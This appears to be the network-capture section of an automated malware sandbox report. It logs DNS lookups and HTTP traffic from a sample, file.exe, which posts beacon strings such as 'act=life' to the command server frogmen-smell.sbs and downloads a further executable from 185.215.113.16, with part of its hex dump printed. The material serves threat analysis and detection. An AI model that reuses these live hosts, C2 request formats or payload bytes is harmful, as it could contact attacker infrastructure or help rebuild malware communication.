Nov 15, 2024 13:18:45.119184017 CET	192.168.2.7	1.1.1.1	0x784c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:45.119334936 CET	192.168.2.7	1.1.1.1	0xceb4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 13:18:53.498568058 CET	192.168.2.7	1.1.1.1	0x6418	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:53.498749971 CET	192.168.2.7	1.1.1.1	0x98bd	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 13:18:09.669524908 CET	1.1.1.1	192.168.2.7	0xa432	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:09.669524908 CET	1.1.1.1	192.168.2.7	0xa432	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:42.855817080 CET	1.1.1.1	192.168.2.7	0xee5c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.855817080 CET	1.1.1.1	192.168.2.7	0xee5c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.855817080 CET	1.1.1.1	192.168.2.7	0xee5c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:42.856086969 CET	1.1.1.1	192.168.2.7	0x4d76	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.856694937 CET	1.1.1.1	192.168.2.7	0x76fc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.856694937 CET	1.1.1.1	192.168.2.7	0x76fc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.856694937 CET	1.1.1.1	192.168.2.7	0x76fc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.856694937 CET	1.1.1.1	192.168.2.7	0x76fc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:42.857744932 CET	1.1.1.1	192.168.2.7	0x8b49	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:42.857744932 CET	1.1.1.1	192.168.2.7	0x8b49	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:43.098243952 CET	1.1.1.1	192.168.2.7	0x1eef	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:43.099625111 CET	1.1.1.1	192.168.2.7	0x8c5e	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 15, 2024 13:18:44.267869949 CET	1.1.1.1	192.168.2.7	0x2999	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:44.268076897 CET	1.1.1.1	192.168.2.7	0xba06	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:44.268076897 CET	1.1.1.1	192.168.2.7	0xba06	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:44.268076897 CET	1.1.1.1	192.168.2.7	0xba06	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:45.125894070 CET	1.1.1.1	192.168.2.7	0x784c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:45.125894070 CET	1.1.1.1	192.168.2.7	0x784c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:45.125894070 CET	1.1.1.1	192.168.2.7	0x784c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:45.125894070 CET	1.1.1.1	192.168.2.7	0x784c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 13:18:45.126403093 CET	1.1.1.1	192.168.2.7	0xceb4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:45.126403093 CET	1.1.1.1	192.168.2.7	0xceb4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:53.506129980 CET	1.1.1.1	192.168.2.7	0x98bd	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:18:53.510510921 CET	1.1.1.1	192.168.2.7	0x6418	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:19:05.241611958 CET	1.1.1.1	192.168.2.7	0x9db4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:19:05.259576082 CET	1.1.1.1	192.168.2.7	0x5511	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:19:08.899168015 CET	1.1.1.1	192.168.2.7	0xfdfc	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 13:19:08.913549900 CET	1.1.1.1	192.168.2.7	0x280	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

frogmen-smell.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49734	185.215.113.16	80	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 13:18:24.557095051 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 15, 2024 13:18:25.496798992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 12:18:25 GMT Content-Type: application/octet-stream Content-Length: 2740736 Last-Modified: Fri, 15 Nov 2024 11:54:54 GMT Connection: keep-alive ETag: "6737368e-29d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 c6 9d 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ *`Ui` @ @.rsrc`2@.idata 8@xucluayb)r):@kwrkbkji )@.taggant@@*")@
Nov 15, 2024 13:18:25.496828079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496840954 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496925116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496939898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496961117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496963978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496979952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 13:18:25.496994972 CET	560	IN	Data Raw: 86 6a 07 f7 d6 4e 7a c1 46 49 ec 5b a8 e2 cf 81 7c 21 7f 7d 1b e8 75 55 0e 3d aa 5a 8b bf 48 8b cb 35 97 56 0c a6 16 96 bc 8e 48 9b 4d 01 07 54 04 e9 7b 1a 15 43 5c 97 89 24 35 e1 09 1b 3a 8f b5 ad 6f 4f 95 7a 15 df d7 eb ee 27 93 c0 7b de 34 6b Data Ascii: jNzFI[\|!}uU=ZH5VHMT{C\$5:oOz'{4kTN`WYa>($6:S-QRU<fWg-x7^,O[L3u^2h+=a5TVOxhZ&uO,]OLh\|c ApPo2T
Nov 15, 2024 13:18:25.497025013 CET	1236	IN	Data Raw: 42 cd b4 db 7b f4 5f 9c 15 c2 47 48 07 74 7e 40 ad e0 03 52 bd aa 14 34 9f fa bb a8 cf 0e 83 72 47 40 01 5e c0 f1 09 d8 c3 82 09 2f fd 7c 2e 8b ea e2 75 60 36 bc 77 ea 2b fb 89 26 aa b5 9f 2a 7b b1 01 3c 87 65 96 c9 83 cc c0 91 2e 18 00 ae 3a e9 Data Ascii: B{_GHt~@R4rG@^/\|.u`6w+&*{<e.:dCwK_\|}H?@Gz{UPO3K?\V~uj/_,t>5T^jJ2xKZ7(#F:j0TtRH f-K+\wAG
Nov 15, 2024 13:18:25.501805067 CET	1236	IN	Data Raw: 2a c9 99 aa 95 8d 77 d4 83 d8 0c dd 20 b6 10 f8 76 4d 56 1c 81 58 96 c9 c1 c3 4c 2d 38 a5 0d e9 4c cb 04 f7 3d d6 05 5d 69 00 71 0d 00 8d 9e 32 6a 1a 7b 19 67 5f 5f b4 ce 6d 6f f2 58 89 24 7e d4 81 a4 ed 62 93 a5 06 6c 8a 9f 63 ca 2b a6 ea 5a b8 Data Ascii: *w vMVXL-8L=]iq2j{g__moX$~blc+Z\e(VgNf85!Q(\flGf919yZw[hXtFYVSG#gpE_~~h}g: 7m/xFkb/xIC:K

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:10 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogmen-smell.sbs
2024-11-15 12:18:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-15 12:18:10 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v4bmr6qf97nbnqe8438225mn2k; expires=Tue, 11-Mar-2025 06:04:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEECMqpOllW4GOQCwJCvSNGa4FKOJfCFlT%2BtW82VGidEYViI7kTL3cfvvgQdU2g%2BMveEViPctvjA7GikYr%2BsHp3PKOWyWEd0MOSBe92aWcYOrHq1BFbnOxHx%2BrX0wkCCCdePsw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2eaf6e702c9a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2089&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=908&delivery_rate=1385645&cwnd=250&unsent_bytes=0&cid=9356bfbb81c987af&ts=400&x=0"
2024-11-15 12:18:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-15 12:18:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: frogmen-smell.sbs
2024-11-15 12:18:11 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-15 12:18:11 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=idbgjp09rhvehs3o0gf4j5672q; expires=Tue, 11-Mar-2025 06:04:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TqeVNqMyk6K0%2B1e14baDSoxLI31ZWXrs8ErJUrOGh7bE61%2FgEvphm54OAbmWbXJhORTXbbyrEjPMwGQxLAhKFcjPTmm8EyzH4SxnxAjKpOY8lBWgS7HAuEmU1LffkFwl69knqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2eb5d8744870-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1206&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2443881&cwnd=232&unsent_bytes=0&cid=bb105aa42f3fb22b&ts=533&x=0"
2024-11-15 12:18:11 UTC	356	IN	Data Raw: 34 64 61 0d 0a 72 74 58 4b 62 74 47 47 72 65 63 63 39 62 42 69 36 67 73 44 6c 35 2b 50 6b 52 63 6c 37 4c 66 6c 4f 36 46 55 4d 38 48 43 47 37 54 56 39 37 78 4d 36 37 4b 42 78 57 2b 51 6b 6c 69 65 65 58 62 79 73 36 33 77 63 77 66 57 30 59 52 58 30 6a 45 66 34 37 52 32 6c 70 53 7a 71 77 4b 69 34 34 48 46 65 59 32 53 57 4c 46 77 49 66 4c 78 72 61 73 31 51 49 62 56 68 46 66 44 4e 56 69 75 73 6e 66 58 78 72 6d 74 42 72 54 6c 79 59 5a 77 6d 4e 55 48 6a 32 70 70 2b 66 62 69 2b 58 6f 48 77 4a 57 41 51 59 4e 75 45 59 79 6e 62 39 58 6a 74 4c 6b 46 38 2f 75 42 6e 44 36 51 33 6b 44 51 4b 57 4c 79 2f 65 50 33 63 30 36 45 33 34 31 66 77 6a 42 5a 73 61 74 39 33 4d 61 33 72 67 65 2b 37 4e 32 4c 65 70 2f 65 41 59 56 71 49 62 75 39 36 75 73 31 48 38 36 47 74 56 72 53 4a 30 Data Ascii: 4dartXKbtGGrecc9bBi6gsDl5+PkRcl7LflO6FUM8HCG7TV97xM67KBxW+QklieeXbys63wcwfW0YRX0jEf47R2lpSzqwKi44HFeY2SWLFwIfLxras1QIbVhFfDNViusnfXxrmtBrTlyYZwmNUHj2pp+fbi+XoHwJWAQYNuEYynb9XjtLkF8/uBnD6Q3kDQKWLy/eP3c06E341fwjBZsat93Ma3rge+7N2Lep/eAYVqIbu96us1H86GtVrSJ0
2024-11-15 12:18:11 UTC	893	IN	Data Raw: 58 64 70 7a 5a 42 5a 70 69 61 50 6a 77 37 66 35 2f 53 49 33 56 67 46 50 4a 4f 56 75 6e 72 58 54 51 7a 4c 66 6f 51 76 50 6a 31 38 55 6d 31 2f 45 46 6d 47 35 74 34 37 2f 58 73 32 6f 4a 6c 35 57 41 56 59 4e 75 45 61 75 6c 65 74 58 48 75 4b 73 45 75 50 62 50 6c 33 69 61 31 78 4b 4f 62 47 2f 2f 2f 76 2f 35 65 30 47 4e 33 49 78 51 78 6a 46 56 34 2b 34 35 30 64 54 33 38 45 79 53 36 63 53 4a 64 49 44 53 51 4a 63 6e 65 4c 58 36 34 62 4d 74 42 34 72 55 67 31 6a 48 4f 46 2b 6e 72 48 2f 59 77 62 69 75 42 72 50 6a 78 59 31 32 6c 74 38 4c 68 32 6c 6b 2b 50 6e 72 2f 33 52 43 7a 70 76 48 58 74 74 32 43 65 4f 4f 66 74 58 65 39 5a 30 50 76 65 72 49 6b 7a 36 49 6e 42 6e 49 62 6d 32 31 70 61 33 39 63 45 69 63 31 4a 56 63 7a 53 52 64 70 71 5a 30 31 63 4b 33 72 51 75 2b 36 73 Data Ascii: XdpzZBZpiaPjw7f5/SI3VgFPJOVunrXTQzLfoQvPj18Um1/EFmG5t47/Xs2oJl5WAVYNuEauletXHuKsEuPbPl3ia1xKObG///v/5e0GN3IxQxjFV4+450dT38EyS6cSJdIDSQJcneLX64bMtB4rUg1jHOF+nrH/YwbiuBrPjxY12lt8Lh2lk+Pnr/3RCzpvHXtt2CeOOftXe9Z0PverIkz6InBnIbm21pa39cEic1JVczSRdpqZ01cK3rQu+6s
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 69 33 36 63 43 4d 64 35 37 41 43 6f 52 6e 63 2f 6a 33 36 50 31 35 51 6f 48 56 68 6c 6a 4e 50 46 72 6a 37 6a 6e 52 31 50 66 77 54 4a 7a 70 33 35 64 30 6e 4d 4e 43 76 57 70 76 2b 2f 72 37 73 32 6f 4a 6c 35 57 41 56 59 4e 75 45 61 69 6d 64 64 72 4d 73 62 6f 43 76 50 62 46 6c 33 71 5a 31 67 79 47 59 47 7a 36 2b 50 2f 33 64 56 57 50 30 49 42 58 7a 69 52 55 34 2b 34 35 30 64 54 33 38 45 79 4a 30 4d 69 56 62 35 43 51 4e 59 74 6e 62 2f 4c 72 72 65 77 37 58 73 37 53 69 78 6d 62 64 6c 4b 76 72 58 44 54 77 36 57 69 41 4c 4c 32 79 49 78 33 6e 64 4d 4f 68 32 4a 74 38 4f 2f 6d 2f 48 31 49 6a 39 69 4b 55 73 63 32 45 65 33 67 66 73 36 4d 37 2b 67 74 76 75 76 64 68 6d 2f 56 35 77 4f 47 5a 32 62 6a 76 66 4b 39 62 41 65 4a 32 63 63 42 67 7a 64 64 72 36 46 Data Ascii: 3f92i36cCMd57ACoRnc/j36P15QoHVhljNPFrj7jnR1PfwTJzp35d0nMNCvWpv+/r7s2oJl5WAVYNuEaimddrMsboCvPbFl3qZ1gyGYGz6+P/3dVWP0IBXziRU4+450dT38EyJ0MiVb5CQNYtnb/Lrrew7Xs7SixmbdlKvrXDTw6WiALL2yIx3ndMOh2Jt8O/m/H1Ij9iKUsc2Ee3gfs6M7+gtvuvdhm/V5wOGZ2bjvfK9bAeJ2ccBgzddr6F
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 4b 38 48 75 4f 44 4c 68 58 4f 63 33 41 36 42 5a 57 6e 35 2b 76 2f 2b 63 45 2b 45 33 49 4a 56 7a 6a 56 44 6f 4b 45 35 6d 49 79 77 73 45 7a 72 70 4f 69 32 53 62 53 53 48 38 5a 77 49 66 4c 78 72 61 73 31 52 6f 62 53 69 56 33 52 4f 45 4f 74 70 33 6e 51 78 4c 2b 76 41 4c 33 71 33 59 31 2f 6c 39 77 50 67 47 42 6c 39 50 6e 70 2f 33 49 48 77 4a 57 41 51 59 4e 75 45 59 75 6a 59 38 79 4f 6d 61 4d 4d 74 50 54 5a 6e 6a 36 49 6e 42 6e 49 62 6d 32 31 70 61 33 33 66 6b 32 48 31 6f 35 64 7a 6a 5a 59 72 4b 6c 78 32 38 53 6c 71 51 61 68 34 4d 71 45 63 5a 33 57 43 49 52 6d 62 66 48 76 35 72 4d 37 42 34 6e 4e 78 77 47 44 46 6c 71 31 67 32 76 45 6a 4b 6a 6d 46 66 50 6a 77 38 55 6d 31 39 73 4d 69 57 68 72 38 2f 62 6f 2f 6e 56 43 68 4e 4b 4c 57 63 4d 31 56 36 57 74 63 64 37 41 Data Ascii: K8HuODLhXOc3A6BZWn5+v/+cE+E3IJVzjVDoKE5mIywsEzrpOi2SbSSH8ZwIfLxras1RobSiV3ROEOtp3nQxL+vAL3q3Y1/l9wPgGBl9Pnp/3IHwJWAQYNuEYujY8yOmaMMtPTZnj6InBnIbm21pa33fk2H1o5dzjZYrKlx28SlqQah4MqEcZ3WCIRmbfHv5rM7B4nNxwGDFlq1g2vEjKjmFfPjw8Um19sMiWhr8/bo/nVChNKLWcM1V6Wtcd7A
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 7a 68 78 34 35 34 6d 64 4d 47 68 47 51 68 75 37 33 71 36 7a 55 66 7a 76 4b 64 56 4d 55 68 51 4a 61 6e 65 59 65 4d 71 4f 59 56 38 2b 50 44 78 53 62 58 33 77 79 43 5a 47 54 78 39 65 72 77 64 45 75 4b 32 49 70 64 79 6a 4a 55 73 62 4a 2f 32 4d 79 34 70 67 4f 2f 39 73 47 41 66 70 75 53 54 73 68 75 65 62 57 6c 72 63 4a 69 52 38 37 4b 79 55 43 44 4d 56 33 6a 2b 44 6e 5a 77 61 57 6b 41 37 50 6c 7a 49 46 31 6b 4e 51 47 69 57 70 6b 39 76 6a 72 38 6e 56 4c 68 4e 4b 50 55 38 30 37 56 36 65 6d 66 35 61 43 39 36 38 55 38 37 79 50 74 33 4f 5a 32 77 4f 4f 5a 48 66 64 7a 4b 33 73 4f 31 37 4f 30 6f 73 5a 6d 33 5a 56 71 4b 68 31 30 38 53 79 71 51 53 35 37 4d 43 4b 62 4a 62 64 43 59 39 69 62 50 72 7a 36 50 31 6e 51 49 58 65 6a 31 44 4e 4d 42 48 74 34 48 37 4f 6a 4f 2f 6f 4f Data Ascii: zhx454mdMGhGQhu73q6zUfzvKdVMUhQJaneYeMqOYV8+PDxSbX3wyCZGTx9erwdEuK2IpdyjJUsbJ/2My4pgO/9sGAfpuSTshuebWlrcJiR87KyUCDMV3j+DnZwaWkA7PlzIF1kNQGiWpk9vjr8nVLhNKPU807V6emf5aC968U87yPt3OZ2wOOZHfdzK3sO17O0osZm3ZVqKh108SyqQS57MCKbJbdCY9ibPrz6P1nQIXej1DNMBHt4H7OjO/oO
2024-11-15 12:18:11 UTC	1369	IN	Data Raw: 43 64 70 50 63 45 6f 6c 6d 49 62 75 39 36 75 73 31 48 38 37 6b 6b 56 37 45 4f 52 4f 4b 70 32 4c 58 78 72 53 6a 41 50 50 37 67 5a 77 2b 6b 4e 35 41 30 43 6c 73 2b 66 44 70 34 58 6c 48 6a 74 79 41 55 39 45 35 58 71 36 6a 65 64 50 65 74 72 6f 44 75 4f 48 4d 67 58 47 59 33 67 69 43 4b 53 2b 31 2b 76 57 7a 4c 51 65 69 31 70 5a 54 67 52 46 4c 74 61 64 31 78 38 65 36 70 45 79 73 71 74 62 46 65 5a 75 53 57 4d 68 70 59 50 6a 76 36 50 4a 2f 54 59 50 64 69 46 7a 47 4f 56 57 6e 71 33 66 45 77 72 69 6f 43 72 6a 6c 79 6f 5a 31 6e 64 77 4a 6d 69 6b 76 74 66 72 31 73 79 30 48 70 4d 36 47 56 4d 39 30 66 36 69 32 66 70 54 74 75 61 4d 4c 76 2f 4b 50 6d 6a 43 4f 6b 67 65 45 4b 54 6d 31 39 4f 50 2f 64 6b 43 47 33 59 4a 5a 79 44 5a 65 71 61 35 2b 78 4d 61 37 6f 68 36 38 35 38 Data Ascii: CdpPcEolmIbu96us1H87kkV7EOROKp2LXxrSjAPP7gZw+kN5A0Cls+fDp4XlHjtyAU9E5Xq6jedPetroDuOHMgXGY3giCKS+1+vWzLQei1pZTgRFLtad1x8e6pEysqtbFeZuSWMhpYPjv6PJ/TYPdiFzGOVWnq3fEwrioCrjlyoZ1ndwJmikvtfr1sy0HpM6GVM90f6i2fpTtuaMLv/KPmjCOkgeEKTm19OP/dkCG3YJZyDZeqa5+xMa7oh6858
